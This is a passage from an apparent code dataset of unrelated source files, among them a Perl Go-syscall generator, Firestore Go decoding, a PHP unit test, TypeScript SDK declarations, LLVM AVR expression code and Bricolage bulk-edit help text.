uses\n\t\t\t\t# (even, odd) pair\n\t\t\t\tpush @args, \"0\"\n\t\t\t}\n\t\t\tif($_32bit eq \"big-endian\") {\n\t\t\t\tpush @args, \"uintptr($name>>32)\", \"uintptr($name)\";\n\t\t\t} else {\n\t\t\t\tpush @args, \"uintptr($name)\", \"uintptr($name>>32)\";\n\t\t\t}\n\t\t} else {\n\t\t\tpush @args, \"uintptr($name)\";\n\t\t}\n\t}\n\n\t# Determine which form to use; pad args with zeros.\n\tmy $asm = \"Syscall\";\n\tif ($nonblock) {\n\t\tif ($errvar eq \"\" && $ENV{'GOOS'} eq \"linux\") {\n\t\t\t$asm = \"RawSyscallNoError\";\n\t\t} else {\n\t\t\t$asm = \"RawSyscall\";\n\t\t}\n\t} else {\n\t\tif ($errvar eq \"\" && $ENV{'GOOS'} eq \"linux\") {\n\t\t\t$asm = \"SyscallNoError\";\n\t\t}\n\t}\n\tif(@args <= 3) {\n\t\twhile(@args < 3) {\n\t\t\tpush @args, \"0\";\n\t\t}\n\t} elsif(@args <= 6) {\n\t\t$asm .= \"6\";\n\t\twhile(@args < 6) {\n\t\t\tpush @args, \"0\";\n\t\t}\n\t} elsif(@args <= 9) {\n\t\t$asm .= \"9\";\n\t\twhile(@args < 9) {\n\t\t\tpush @args, \"0\";\n\t\t}\n\t} else {\n\t\tprint STDERR \"$ARGV:$.: too many arguments to system call\\n\";\n\t}\n\n\t# System call number.\n\tif($sysname eq \"\") {\n\t\t$sysname = \"SYS_$func\";\n\t\t$sysname =~ s/([a-z])([A-Z])/${1}_$2/g;\t# turn FooBar into Foo_Bar\n\t\t$sysname =~ y/a-z/A-Z/;\n\t}\n\n\t# Actual call.\n\tmy $args = join(', ', @args);\n\tmy $call = \"$asm($sysname, $args)\";\n\n\t# Assign return values.\n\tmy $body = \"\";\n\tmy @ret = (\"_\", \"_\", \"_\");\n\tmy $do_errno = 0;\n\tfor(my $i=0; $i<@out; $i++) {\n\t\tmy $p = $out[$i];\n\t\tmy ($name, $type) = parseparam($p);\n\t\tmy $reg = \"\";\n\t\tif($name eq \"err\" && !$plan9) {\n\t\t\t$reg = \"e1\";\n\t\t\t$ret[2] = $reg;\n\t\t\t$do_errno = 1;\n\t\t} elsif($name eq \"err\" && $plan9) {\n\t\t\t$ret[0] = \"r0\";\n\t\t\t$ret[2] = \"e1\";\n\t\t\tnext;\n\t\t} else {\n\t\t\t$reg = sprintf(\"r%d\", $i);\n\t\t\t$ret[$i] = $reg;\n\t\t}\n\t\tif($type eq \"bool\") {\n\t\t\t$reg = \"$reg != 0\";\n\t\t}\n\t\tif($type eq \"int64\" && $_32bit ne \"\") {\n\t\t\t# 64-bit number in r1:r0 or r0:r1.\n\t\t\tif($i+2 > @out) {\n\t\t\t\tprint STDERR \"$ARGV:$.: not enough registers for int64 return\\n\";\n\t\t\t}\n\t\t\tif($_32bit eq \"big-endian\") {\n\t\t\t\t$reg = sprintf(\"int64(r%d)<<32 | int64(r%d)\", $i, $i+1);\n\t\t\t} else {\n\t\t\t\t$reg = sprintf(\"int64(r%d)<<32 | int64(r%d)\", $i+1, $i);\n\t\t\t}\n\t\t\t$ret[$i] = sprintf(\"r%d\", $i);\n\t\t\t$ret[$i+1] = sprintf(\"r%d\", $i+1);\n\t\t}\n\t\tif($reg ne \"e1\" || $plan9) {\n\t\t\t$body .= \"\\t$name = $type($reg)\\n\";\n\t\t}\n\t}\n\tif ($ret[0] eq \"_\" && $ret[1] eq \"_\" && $ret[2] eq \"_\") {\n\t\t$text .= \"\\t$call\\n\";\n\t} else {\n\t\tif ($errvar eq \"\" && $ENV{'GOOS'} eq \"linux\") {\n\t\t\t# raw syscall without error on Linux, see golang.org/issue/22924\n\t\t\t$text .= \"\\t$ret[0], $ret[1] := $call\\n\";\n\t\t} else {\n\t\t\t$text .= \"\\t$ret[0], $ret[1], $ret[2] := $call\\n\";\n\t\t}\n\t}\n\t$text .= $body;\n\n\tif ($plan9 && $ret[2] eq \"e1\") {\n\t\t$text .= \"\\tif int32(r0) == -1 {\\n\";\n\t\t$text .= \"\\t\\terr = e1\\n\";\n\t\t$text .= \"\\t}\\n\";\n\t} elsif ($do_errno) {\n\t\t$text .= \"\\tif e1 != 0 {\\n\";\n\t\t$text .= \"\\t\\terr = errnoErr(e1)\\n\";\n\t\t$text .= \"\\t}\\n\";\n\t}\n\t$text .= \"\\treturn\\n\";\n\t$text .= \"}\\n\\n\";\n}\n\nchomp $text;\nchomp $text;\n\nif($errors) {\n\texit 1;\n}\n\nprint < xlen:\n\t\t\tv.SetLen(xlen)\n\t\t}\n\t\treturn populateRepeated(v, vals, xlen, c)\n\n\tcase reflect.Array:\n\t\tx, ok := val.(*pb.Value_ArrayValue)\n\t\tif !ok {\n\t\t\treturn typeErr()\n\t\t}\n\t\tvals := x.ArrayValue.Values\n\t\txlen := len(vals)\n\t\tvlen := v.Len()\n\t\tminlen := vlen\n\t\t// Set extra elements to their zero value.\n\t\tif vlen > xlen {\n\t\t\tz := reflect.Zero(v.Type().Elem())\n\t\t\tfor i := xlen; i < vlen; i++ {\n\t\t\t\tv.Index(i).Set(z)\n\t\t\t}\n\t\t\tminlen = xlen\n\t\t}\n\t\treturn populateRepeated(v, vals, minlen, c)\n\n\tcase reflect.Map:\n\t\tx, ok := val.(*pb.Value_MapValue)\n\t\tif !ok {\n\t\t\treturn typeErr()\n\t\t}\n\t\treturn populateMap(v, x.MapValue.Fields, c)\n\n\tcase reflect.Ptr:\n\t\t// If the pointer is nil, set it to a zero value.\n\t\tif v.IsNil() {\n\t\t\tv.Set(reflect.New(v.Type().Elem()))\n\t\t}\n\t\treturn setReflectFromProtoValue(v.Elem(), vproto, c)\n\n\tcase reflect.Struct:\n\t\tx, ok := val.(*pb.Value_MapValue)\n\t\tif !ok {\n\t\t\treturn typeErr()\n\t\t}\n\t\treturn populateStruct(v, x.MapValue.Fields, c)\n\n\tcase reflect.Interface:\n\t\tif v.NumMethod() == 0 { // empty interface\n\t\t\t// If v holds a pointer, set the pointer.\n\t\t\tif !v.IsNil() && v.Elem().Kind() == reflect.Ptr {\n\t\t\t\treturn setReflectFromProtoValue(v.Elem(), vproto, c)\n\t\t\t}\n\t\t\t// Otherwise, create a fresh value.\n\t\t\tx, err := createFromProtoValue(vproto, c)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tv.Set(reflect.ValueOf(x))\n\t\t\treturn nil\n\t\t}\n\t\t// Any other kind of interface is an error.\n\t\tfallthrough\n\n\tdefault:\n\t\treturn fmt.Errorf(\"firestore: cannot set type %s\", v.Type())\n\t}\n\treturn nil\n}\n\n// populateRepeated sets the first n elements of vr, which must be a slice or\n// array, to the corresponding elements of vals.\nfunc populateRepeated(vr reflect.Value, vals []*pb.Value, n int, c *Client) error {\n\tfor i := 0; i < n; i++ {\n\t\tif err := setReflectFromProtoValue(vr.Index(i), vals[i], c); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// populateMap sets the elements of vm, which must be a map, from the\n// corresponding elements of pm.\n//\n// Since a map value is not settable, this function always creates a new\n// element for each corresponding map key. Existing values of vm are\n// overwritten. This happens even if the map value is something like a pointer\n// to a struct, where we could in theory populate the existing struct value\n// instead of discarding it. This behavior matches encoding/json.\nfunc populateMap(vm reflect.Value, pm map[string]*pb.Value, c *Client) error {\n\tt := vm.Type()\n\tif t.Key().Kind() != reflect.String {\n\t\treturn errors.New(\"firestore: map key type is not string\")\n\t}\n\tif vm.IsNil() {\n\t\tvm.Set(reflect.MakeMap(t))\n\t}\n\tet := t.Elem()\n\tfor k, vproto := range pm {\n\t\tel := reflect.New(et).Elem()\n\t\tif err := setReflectFromProtoValue(el, vproto, c); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvm.SetMapIndex(reflect.ValueOf(k), el)\n\t}\n\treturn nil\n}\n\n// createMapFromValueMap creates a fresh map and populates it with pm.\nfunc createMapFromValueMap(pm map[string]*pb.Value, c *Client) (map[string]interface{}, error) {\n\tm := map[string]interface{}{}\n\tfor k, pv := range pm {\n\t\tv, err := createFromProtoValue(pv, c)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tm[k] = v\n\t}\n\treturn m, nil\n}\n\n// populateStruct sets the fields of vs, which must be a struct, from\n// the matching elements of pm.\nfunc populateStruct(vs reflect.Value, pm map[string]*pb.Value, c *Client) error {\n\tfields, err := fieldCache.Fields(vs.Type())\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, vproto := range pm {\n\t\tf := fields.Match(k)\n\t\tif f == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif err := setReflectFromProtoValue(vs.FieldByIndex(f.Index), vproto, c); err != nil {\n\t\t\treturn fmt.Errorf(\"%s.%s: %v\", vs.Type(), f.Name, err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc createFromProtoValue(vproto *pb.Value, c *Client) (interface{}, error) {\n\tswitch v := vproto.ValueType.(type) {\n\tcase *pb.Value_NullValue:\n\t\treturn nil, nil\n\tcase *pb.Value_BooleanValue:\n\t\treturn v.BooleanValue, nil\n\tcase *pb.Value_IntegerValue:\n\t\treturn v.IntegerValue, nil\n\tcase *pb.Value_DoubleValue:\n\t\treturn v.DoubleValue, nil\n\tcase *pb.Value_TimestampValue:\n\t\treturn ptypes.Timestamp(v.TimestampValue)\n\tcase *pb.Value_StringValue:\n\t\treturn v.StringValue, nil\n\tcase *pb.Value_BytesValue:\n\t\treturn v.BytesValue, nil\n\tcase *pb.Value_ReferenceValue:\n\t\treturn pathToDoc(v.ReferenceValue, c)\n\tcase *pb.Value_GeoPointValue:\n\t\treturn v.GeoPointValue, nil\n\n\tcase *pb.Value_ArrayValue:\n\t\tvals := v.ArrayValue.Values\n\t\tret := make([]interface{}, len(vals))\n\t\tfor i, v := range vals {\n\t\t\tr, err := createFromProtoValue(v, c)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tret[i] = r\n\t\t}\n\t\treturn ret, nil\n\n\tcase *pb.Value_MapValue:\n\t\tfields := v.MapValue.Fields\n\t\tret := make(map[string]interface{}, len(fields))\n\t\tfor k, v := range fields {\n\t\t\tr, err := createFromProtoValue(v, c)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tret[k] = r\n\t\t}\n\t\treturn ret, nil\n\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"firestore: unknown value type %T\", v)\n\t}\n}\n\n// Convert a document path to a DocumentRef.\nfunc pathToDoc(docPath string, c *Client) (*DocumentRef, error) {\n\tprojID, dbID, docIDs, err := parseDocumentPath(docPath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparentResourceName := fmt.Sprintf(\"projects/%s/databases/%s\", projID, dbID)\n\t_, doc := c.idsToRef(docIDs, parentResourceName)\n\treturn doc, nil\n}\n\n// A document path should be of the form \"projects/P/databases/D/documents/coll1/doc1/coll2/doc2/...\".\nfunc parseDocumentPath(path string) (projectID, databaseID string, docPath []string, err error) {\n\tparts := strings.Split(path, \"/\")\n\tif len(parts) < 6 || parts[0] != \"projects\" || parts[2] != \"databases\" || parts[4] != \"documents\" {\n\t\treturn \"\", \"\", nil, fmt.Errorf(\"firestore: malformed document path %q\", path)\n\t}\n\tdocp := parts[5:]\n\tif len(docp)%2 != 0 {\n\t\treturn \"\", \"\", nil, fmt.Errorf(\"firestore: path %q refers to collection, not document\", path)\n\t}\n\treturn parts[1], parts[3], docp, nil\n}\n\nfunc typeString(vproto *pb.Value) string {\n\tswitch vproto.ValueType.(type) {\n\tcase *pb.Value_NullValue:\n\t\treturn \"null\"\n\tcase *pb.Value_BooleanValue:\n\t\treturn \"bool\"\n\tcase *pb.Value_IntegerValue:\n\t\treturn \"int\"\n\tcase *pb.Value_DoubleValue:\n\t\treturn \"float\"\n\tcase *pb.Value_TimestampValue:\n\t\treturn \"timestamp\"\n\tcase *pb.Value_StringValue:\n\t\treturn \"string\"\n\tcase *pb.Value_BytesValue:\n\t\treturn \"bytes\"\n\tcase *pb.Value_ReferenceValue:\n\t\treturn \"reference\"\n\tcase *pb.Value_GeoPointValue:\n\t\treturn \"GeoPoint\"\n\tcase *pb.Value_MapValue:\n\t\treturn \"map\"\n\tcase *pb.Value_ArrayValue:\n\t\treturn \"array\"\n\tdefault:\n\t\treturn \"\"\n\t}\n}\n\nfunc overflowErr(v reflect.Value, x interface{}) error {\n\treturn fmt.Errorf(\"firestore: value %v overflows type %s\", x, v.Type())\n}\n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Sonata\\NewsBundle\\Tests\\Entity;\n\nuse PHPUnit\\Framework\\TestCase;\nuse Sonata\\Doctrine\\Test\\EntityManagerMockFactoryTrait;\nuse Sonata\\NewsBundle\\Entity\\CommentManager;\nuse Sonata\\NewsBundle\\Model\\CommentInterface;\n\n/**\n * Tests the comment manager entity.\n *\n * @author Romain Mouillard \n */\nclass CommentManagerTest extends TestCase\n{\n use EntityManagerMockFactoryTrait;\n\n public function testGetPager()\n {\n $self = $this;\n $this\n ->getCommentManager(static function ($qb) use ($self) {\n $qb->expects($self->once())->method('getRootAliases')->will($self->returnValue(['c']));\n $qb->expects($self->once())->method('andWhere');\n $qb->expects($self->once())->method('setParameters')->with(['status' => CommentInterface::STATUS_VALID]);\n })\n ->getPager([], 1);\n }\n\n public function testGetPagerWithAdminMode()\n {\n $self = $this;\n $this\n ->getCommentManager(static function ($qb) use ($self) {\n $qb->expects($self->once())->method('getRootAliases')->will($self->returnValue(['c']));\n $qb->expects($self->never())->method('andWhere');\n $qb->expects($self->once())->method('setParameters')->with([]);\n })\n ->getPager([\n 'mode' => 'admin',\n ], 1);\n }\n\n public function testGetPagerWithStatus()\n {\n $self = $this;\n $this\n ->getCommentManager(static function ($qb) use ($self) {\n $qb->expects($self->once())->method('getRootAliases')->will($self->returnValue(['c']));\n $qb->expects($self->once())->method('andWhere');\n $qb->expects($self->once())->method('setParameters')->with(['status' => CommentInterface::STATUS_INVALID]);\n })\n ->getPager([\n 'status' => CommentInterface::STATUS_INVALID,\n ], 1);\n }\n\n public function testGetPagerWithPostId()\n {\n $self = $this;\n $this\n ->getCommentManager(static function ($qb) use ($self) {\n $qb->expects($self->once())->method('getRootAliases')->will($self->returnValue(['c']));\n $qb->expects($self->exactly(2))->method('andWhere')->with($self->logicalOr('c.post = :postId', 'c.status = :status'));\n $qb->expects($self->once())->method('setParameters')->with(['postId' => 50, 'status' => CommentInterface::STATUS_VALID]);\n })\n ->getPager([\n 'postId' => 50,\n ], 1);\n }\n\n protected function getCommentManager($qbCallback)\n {\n $em = $this->createEntityManagerMock($qbCallback, []);\n\n $registry = $this->createMock('Doctrine\\Common\\Persistence\\ManagerRegistry');\n $registry->expects($this->any())->method('getManagerForClass')->willReturn($em);\n\n $postManager = $this->createMock('Sonata\\NewsBundle\\Model\\PostManagerInterface');\n\n return new CommentManager('Sonata\\NewsBundle\\Entity\\BasePost', $registry, $postManager);\n }\n}\n"} +{"text": "declare module \"react-native-background-geolocation\" {\n /**\n * Response object returned by [[BackgroundGeolocation.findOrCreateTransistorAuthorizationToken]] for configuring the SDK's [[Authorization]] with Transistor Software's Demo Server at [http://tracker.transistorsoft.com](http://tracker.transistorsoft.com).\n *\n * You may also run your own instance of Demo Server locally. See [background-geolocation-console](https://github.com/transistorsoft/background-geolocation-console)\n *\n * The test server is a great way to debug location problems or evalute the SDK's behaviour, since the results can easily be shared with *Transistor Software* when requesting support.\n *\n * ![](https://dl.dropboxusercontent.com/s/3abuyyhioyypk8c/screenshot-tracker-transistorsoft.png?dl=1)\n *\n *\n * @example\n * ```typescript\n * // Url to demo server.\n * let url = \"http://tracker.transistorsoft.com\";\n * let orgname = \"my-company-name\";\n * let usernmae = \"my-username\";\n *\n * // Fetch an authoriztion token from server. The SDK will cache the received token.\n * let token = await\n * BackgroundGeolocation.findOrCreateTransistorAuthorizationToken(orgname, username, url);\n *\n * BackgroundGeolocation.ready({\n * transistorAuthorizationToken: token\n * })\n * ```\n *\n * ## Viewing Your Tracking Results\n *\n * To *view* your tracking results in the browser, use your configured \"Organization Name\" and visit:\n *\n * http://tracker.transistorsoft.com/my-organization-name\n *\n */\n interface TransistorAuthorizationToken {\n \t/**\n \t* The authorization token to provide to [[Authorization.accessToken]]\n *\n * @example\n * ```typescript\n * BackgroundGeolocation.ready({\n * authorization: {\n * accessToken:\n * }\n * });\n * ```\n \t*/\n \taccessToken:string;\n \t/**\n \t* The token used to request to provide to [[Authorization.refreshToken]]\n \t*/\n \trefreshToken:string;\n \t/**\n \t* The expiry time of the [[Authorization.accessToken]]\n \t*/\n \texpires:number;\n /**\n * The url to the Transistor Demo server where this token came from.\n * __Read only__\n */\n url?: string;\n }\n}\n"} +{"text": "\nThis demonstrates the use of PNG_USER_CONFIG, pngusr.h and pngusr.dfa\nto build minimal decoder, encoder, and progressive reader applications.\n\nSee the individual README and pngusr.dfa files for more explanation.\n"} +{"text": "#include \"networkcookiejar.h\"\n#include \"every_cpp.h\"\n\nnamespace BrowserAutomationStudioFramework\n{\n NetworkCookieJar::NetworkCookieJar(QObject *parent) : QNetworkCookieJar(parent)\n {\n }\n\n QList NetworkCookieJar::AllCookies()\n {\n return QNetworkCookieJar::allCookies();\n }\n}\n"} +{"text": "//===-- AVRMCExpr.cpp - AVR specific MC expression classes ----------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n\n#include \"AVRMCExpr.h\"\n\n#include \"llvm/MC/MCAsmLayout.h\"\n#include \"llvm/MC/MCAssembler.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCStreamer.h\"\n#include \"llvm/MC/MCValue.h\"\n\nnamespace llvm {\n\nnamespace {\n\nconst struct ModifierEntry {\n const char * const Spelling;\n AVRMCExpr::VariantKind VariantKind;\n} ModifierNames[] = {\n {\"lo8\", AVRMCExpr::VK_AVR_LO8}, {\"hi8\", AVRMCExpr::VK_AVR_HI8},\n {\"hh8\", AVRMCExpr::VK_AVR_HH8}, // synonym with hlo8\n {\"hlo8\", AVRMCExpr::VK_AVR_HH8}, {\"hhi8\", AVRMCExpr::VK_AVR_HHI8},\n\n {\"pm_lo8\", AVRMCExpr::VK_AVR_PM_LO8}, {\"pm_hi8\", AVRMCExpr::VK_AVR_PM_HI8},\n {\"pm_hh8\", AVRMCExpr::VK_AVR_PM_HH8},\n\n {\"lo8_gs\", AVRMCExpr::VK_AVR_LO8_GS}, {\"hi8_gs\", AVRMCExpr::VK_AVR_HI8_GS},\n {\"gs\", AVRMCExpr::VK_AVR_GS},\n};\n\n} // end of anonymous namespace\n\nconst AVRMCExpr *AVRMCExpr::create(VariantKind Kind, const MCExpr *Expr,\n bool Negated, MCContext &Ctx) {\n return new (Ctx) AVRMCExpr(Kind, Expr, Negated);\n}\n\nvoid AVRMCExpr::printImpl(raw_ostream &OS, const MCAsmInfo *MAI) const {\n assert(Kind != VK_AVR_None);\n\n if (isNegated())\n OS << '-';\n\n OS << getName() << '(';\n getSubExpr()->print(OS, MAI);\n OS << ')';\n}\n\nbool AVRMCExpr::evaluateAsConstant(int64_t &Result) const {\n MCValue Value;\n\n bool isRelocatable =\n getSubExpr()->evaluateAsRelocatable(Value, nullptr, nullptr);\n\n if (!isRelocatable)\n return false;\n\n if (Value.isAbsolute()) {\n Result = evaluateAsInt64(Value.getConstant());\n return true;\n }\n\n return false;\n}\n\nbool AVRMCExpr::evaluateAsRelocatableImpl(MCValue &Result,\n const MCAsmLayout *Layout,\n const MCFixup *Fixup) const {\n MCValue Value;\n bool isRelocatable = SubExpr->evaluateAsRelocatable(Value, Layout, Fixup);\n\n if (!isRelocatable)\n return false;\n\n if (Value.isAbsolute()) {\n Result = MCValue::get(evaluateAsInt64(Value.getConstant()));\n } else {\n if (!Layout) return false;\n\n MCContext &Context = Layout->getAssembler().getContext();\n const MCSymbolRefExpr *Sym = Value.getSymA();\n MCSymbolRefExpr::VariantKind Modifier = Sym->getKind();\n if (Modifier != MCSymbolRefExpr::VK_None)\n return false;\n\n Sym = MCSymbolRefExpr::create(&Sym->getSymbol(), Modifier, Context);\n Result = MCValue::get(Sym, Value.getSymB(), Value.getConstant());\n }\n\n return true;\n}\n\nint64_t AVRMCExpr::evaluateAsInt64(int64_t Value) const {\n if (Negated)\n Value *= -1;\n\n switch (Kind) {\n case AVRMCExpr::VK_AVR_LO8:\n Value &= 0xff;\n break;\n case AVRMCExpr::VK_AVR_HI8:\n Value &= 0xff00;\n Value >>= 8;\n break;\n case AVRMCExpr::VK_AVR_HH8:\n Value &= 0xff0000;\n Value >>= 16;\n break;\n case AVRMCExpr::VK_AVR_HHI8:\n Value &= 0xff000000;\n Value >>= 24;\n break;\n case AVRMCExpr::VK_AVR_PM_LO8:\n case AVRMCExpr::VK_AVR_LO8_GS:\n Value >>= 1; // Program memory addresses must always be shifted by one.\n Value &= 0xff;\n break;\n case AVRMCExpr::VK_AVR_PM_HI8:\n case AVRMCExpr::VK_AVR_HI8_GS:\n Value >>= 1; // Program memory addresses must always be shifted by one.\n Value &= 0xff00;\n Value >>= 8;\n break;\n case AVRMCExpr::VK_AVR_PM_HH8:\n Value >>= 1; // Program memory addresses must always be shifted by one.\n Value &= 0xff0000;\n Value >>= 16;\n break;\n case AVRMCExpr::VK_AVR_GS:\n Value >>= 1; // Program memory addresses must always be shifted by one.\n break;\n\n case AVRMCExpr::VK_AVR_None:\n llvm_unreachable(\"Uninitialized expression.\");\n }\n return static_cast(Value) & 0xff;\n}\n\nAVR::Fixups AVRMCExpr::getFixupKind() const {\n AVR::Fixups Kind = AVR::Fixups::LastTargetFixupKind;\n\n switch (getKind()) {\n case VK_AVR_LO8:\n Kind = isNegated() ? AVR::fixup_lo8_ldi_neg : AVR::fixup_lo8_ldi;\n break;\n case VK_AVR_HI8:\n Kind = isNegated() ? AVR::fixup_hi8_ldi_neg : AVR::fixup_hi8_ldi;\n break;\n case VK_AVR_HH8:\n Kind = isNegated() ? AVR::fixup_hh8_ldi_neg : AVR::fixup_hh8_ldi;\n break;\n case VK_AVR_HHI8:\n Kind = isNegated() ? AVR::fixup_ms8_ldi_neg : AVR::fixup_ms8_ldi;\n break;\n\n case VK_AVR_PM_LO8:\n Kind = isNegated() ? AVR::fixup_lo8_ldi_pm_neg : AVR::fixup_lo8_ldi_pm;\n break;\n case VK_AVR_PM_HI8:\n Kind = isNegated() ? AVR::fixup_hi8_ldi_pm_neg : AVR::fixup_hi8_ldi_pm;\n break;\n case VK_AVR_PM_HH8:\n Kind = isNegated() ? AVR::fixup_hh8_ldi_pm_neg : AVR::fixup_hh8_ldi_pm;\n break;\n case VK_AVR_GS:\n Kind = AVR::fixup_16_pm;\n break;\n case VK_AVR_LO8_GS:\n Kind = AVR::fixup_lo8_ldi_gs;\n break;\n case VK_AVR_HI8_GS:\n Kind = AVR::fixup_hi8_ldi_gs;\n break;\n\n case VK_AVR_None:\n llvm_unreachable(\"Uninitialized expression\");\n }\n\n return Kind;\n}\n\nvoid AVRMCExpr::visitUsedExpr(MCStreamer &Streamer) const {\n Streamer.visitUsedExpr(*getSubExpr());\n}\n\nconst char *AVRMCExpr::getName() const {\n const auto &Modifier = std::find_if(\n std::begin(ModifierNames), std::end(ModifierNames),\n [this](ModifierEntry const &Mod) { return Mod.VariantKind == Kind; });\n\n if (Modifier != std::end(ModifierNames)) {\n return Modifier->Spelling;\n }\n return nullptr;\n}\n\nAVRMCExpr::VariantKind AVRMCExpr::getKindByName(StringRef Name) {\n const auto &Modifier = std::find_if(\n std::begin(ModifierNames), std::end(ModifierNames),\n [&Name](ModifierEntry const &Mod) { return Mod.Spelling == Name; });\n\n if (Modifier != std::end(ModifierNames)) {\n return Modifier->VariantKind;\n }\n return VK_AVR_None;\n}\n\n} // end of namespace llvm\n\n"} +{"text": "import store from '@/store'\n\n/**\n * @param {Array} value\n * @returns {Boolean}\n * @example see @/views/permission/directive.vue\n */\nexport default function checkPermission(value) {\n if (value && value instanceof Array && value.length > 0) {\n const roles = store.getters && store.getters.roles\n const permissionRoles = value\n\n const hasPermission = roles.some(role => {\n return permissionRoles.includes(role)\n })\n return hasPermission\n } else {\n console.error(`need roles! Like v-permission=\"['admin','editor']\"`)\n return false\n }\n}\n"} +{"text": "\n\n

    Use the Bulk Edit interface to edit all of the elements and subelements of\na given element at once. Different fields and elements are demarcated by lines\nwith special tags that start with an equals sign (=) and have an\nempty line separating them from content; anything else is considered\ncontent.

    \n\n

    Field elements are demarcated by =key_name and an empty line,\nwhere key_name is the the key name of the field. For example, a\nfield with the key name paragraph may be rendered as so:

    \n\n% # Be sure that the length of the lines will fit into the small help window\n% # here and in the Roosevelt quote below.\n\n
    =paragraph\n\nLorem ipsum dolor sit amet, consectetuer adipiscing elit, sed\ndiam nonummy nibh eusmod tincidunt ut laoreet dolore magna\naliquam erat volputate. Ut wisi enim ad minim veniam, quis\nnostrud exerci tation ullamcorper suscipit lobortis nisl ut\naliquip ex ea commodo consequat.\n
    \n\n

    Container elements are demarcated by =begin key_name and an empty\nline, and then an =end key_name tag at the end of the element.\nThe key name after the =end tag is optional. Fields within\ncontainer elements go between these tags, like so:

    \n\n
    \n=begin pull_quote\n\n    =paragraph\n\n    Ask not what your country can do for you.\n    Ask what you can do for your country.\n\n    =by\n\n    John F. Kennedy\n\n    =date\n\n    1961-01-20 00:00:00\n\n=end pull_quote\n
    \n\n

    Indentation of subelements is optional, although Bricolage will generate\nfour-space indents for existing elements. If for some reason you must have a\ncontent line that starts with an equal sign, escape it with a backslash, like\nso:

    \n\n
    \n=header\n\n\\= Lorem ipsum dolor sit amet\n
    \n\n

    Related stories and related media are indiciated by one of the following\ntags:

    \n\n
      \n
    • =related_story_uri
    • \n
    • =related_media_uri
    • \n
    • =related_story_url
    • \n
    • =related_media_url
    • \n
    • =related_story_uuid
    • \n
    • =related_media_uuid
    • \n
    • =related_story_id
    • \n
    • =related_media_id
    • \n
    \n\n

    The URI, URL, UUID, or ID is then put on the same line as the tag.\nBricolage itself uses _uuid tags for related documents. The\n_uri tags are probably simplest to use, but should not be used if\nyou manage multiple sites in Bricolage and different sites can use the same\nURIs. The _url tags avoid this problem by using a full URL for a\nrelated document; the domain name from the URL will be used to look up the\nappropriate site. Some examples:

    \n\n
    \n=related_story_url http://www.example.com/reviews/books/\n\n=related_media_uri /reviews/movies/2005/12/14/king_kong.png\n
    \n\n

    These tags will create a relationship with the story with the URI\n/reviews/books/ and associated with the site with the domain\nwww.example.com, and with the media document with the URI\n/reviews/movies/2005/12/14/king_kong.png without regard to the site\nto which it belongs.

    \n\n

    Use the Default Field select list to assign any untagged blocks of\ncontent to a particular field. For example, if you selected paragraph\nas the default field, the above pull quote element can be written as:

    \n\n
    \n=begin pull_quote\n\n    Ask not what your country can do for you.\n    Ask what you can do for your country.\n\n    =by\n\n    John F. Kennedy\n\n    =date\n\n    1961-01-20 00:00:00\n\n=end pull_quote\n
    \n\n

    Of course, all of these tags can be used to edit an entire hierarchy of an\nelement and its subelements, and this is where the default field becomes\nespecially useful. For example, to edit an entire story's worth of elements,\nyou might have something like this (again, with paragraph selected as\nthe default field):

    \n\n
    \n=related_media_uuid 4162F713-1DD3-11B3-B17F-C09EFE1DC404\n\n=teaser\n\nThis is where we teas you. Ha ha!\n\n=begin page\n\n    This is a paragraph\n\n    Second paragraph\n\n    =header\n\n    And then...\n\n    Third paragraph\n\n    =begin pull_quote\n\n        Ask not what your country can do for you.\n        Ask what you can do for your country.\n\n        =by\n\n        John F. Kennedy\n\n        =date\n\n        1961-01-20 00:00:00\n\n    =end pull_quote\n\n    圳地在圭圬圯圩夙多夷夸妄奸妃好她如妁字存宇守宅安寺尖屹州帆并年\n\n    橿梶鰍潟割喝恰括活渇滑葛褐轄且鰹叶椛樺鞄株兜竃蒲釜鎌噛鴨栢茅萱\n\n    뼈뼉뼘뼙뼛뼜뼝뽀뽁뽄뽈뽐뽑뽕뾔뾰뿅뿌뿍뿐뿔뿜뿟뿡쀼쁑쁘쁜쁠쁨쁩삐\n\n    =begin pull_quote\n\n        So, first of all, let me assert my firm belief that\n        the only thing we have to fear is fear\n        itself—nameless, unreasoning, unjustified\n        terror which paralyzes needed efforts to convert\n        retreat into advance.\n\n        =by\n\n        Franklin D. Roosevelt\n\n        =date\n\n        1933-03-04 00:00:00\n\n    =end pull_quote\n\n   Final paragraph.\n\n=end page\n
    \n\n"} +{"text": "goog.provide('plugin.params.menu');\n\ngoog.require('os.implements');\ngoog.require('os.ol.source.IUrlSource');\ngoog.require('os.ui.menu.layer');\ngoog.require('plugin.params');\ngoog.require('plugin.params.editRequestParamsDirective');\n\n\n/**\n * Set up params menu items in the layer menu.\n */\nplugin.params.menu.layerSetup = function() {\n var menu = os.ui.menu.layer.MENU;\n if (menu && !menu.getRoot().find(plugin.params.EventType.EDIT_PARAMS)) {\n var group = menu.getRoot().find(os.ui.menu.layer.GroupLabel.LAYER);\n goog.asserts.assert(group, 'Group should exist! Check spelling?');\n\n group.addChild({\n label: 'Edit Parameters...',\n eventType: plugin.params.EventType.EDIT_PARAMS,\n tooltip: 'Edit request parameters for the layer',\n icons: [''],\n beforeRender: plugin.params.menu.visibleIfSupported_,\n handler: plugin.params.menu.handleLayerAction_,\n metricKey: plugin.params.Metrics.EDIT_PARAMS\n });\n }\n};\n\n\n/**\n * Clean up params menu items in the layer menu.\n */\nplugin.params.menu.layerDispose = function() {\n var menu = 